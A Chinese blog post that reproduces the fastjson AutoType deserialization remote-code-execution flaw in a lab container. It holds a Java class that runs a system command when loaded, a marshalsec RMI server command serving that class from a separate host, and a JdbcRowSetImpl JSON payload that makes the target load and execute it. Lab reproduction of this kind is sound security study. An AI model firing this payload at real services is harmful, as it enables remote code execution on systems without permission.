fastjson反序列化漏洞复现

Fastjson简介

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

原理

Fastjson 反序列化漏洞的本质是其 AutoType 机制允许用户通过 @type 指定反序列化类,攻击者可以构造恶意类或利用已有的 Gadget 类,在属性赋值过程中触发危险方法,从而实现远程代码执行

复现

fastjson < 1.2.25

编写一个后面rmi远程加载的类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import java.lang.Runtime;
import java.lang.Process;
import java.lang.management.RuntimeMXBean;

public class fastjson {
static {
try {
Runtime rt= Runtime.getRuntime();
String[] commands={"touch","/tmp/fastjson1.24"};
Process pc=rt.exec(commands);//开启一个进程执行命令
pc.waitFor();//等待进程结束,并返回进程的退出状态码
}catch (Exception e){

}
}
}

Java Runtime类代表了Java程序的运行时环境,可以用来获取JVM的一些信息,比如JVM的版本号、运行时环境的内存情况等。Java Runtime类是一个单例类,即在一个Java虚拟机中只有一个实例,其实例可以通过调用静态方法Runtime.getRuntime()来获取。

JVM是面向操作系统的,它负责把程序运行编译成的.Class字节码解释成系统所能识别的指令并执行,同时也负责程序运行的内存的管理。

使用JDK8(高版本修复了rmi远程加载)编译成fastjson.class文件

开启一个服务器:

image-20260513211124293开启一个rmi服务器:

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar  marshalsec.jndi.RMIRefServer "http://192.168.4.128:5623/#fastjson" 9999

http://192.168.4.128:5623/#fastjson是rmi远程加载class的路径

POC:

1
2
3
4
5
6
7
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.4.128:9999/fastjson",
"autoCommit":true
}
}

image-20260513201703024

image-20260513201103405

进入容器内部查看:

1
docker exec -it 1435c41651fa 

image-20260513201136483

成功创建文件

https://yanghaoi.github.io/2024/08/18/fastjson-lou-dong-chang-jian-wa-jue-he-li-yong-fang-fa/#toc-heading-35

https://bbs.huaweicloud.com/blogs/413267

https://www.cnblogs.com/kakarotto-chen/p/17813030.html

Previous postXXE漏洞原理与利用Next postlog4j漏洞复现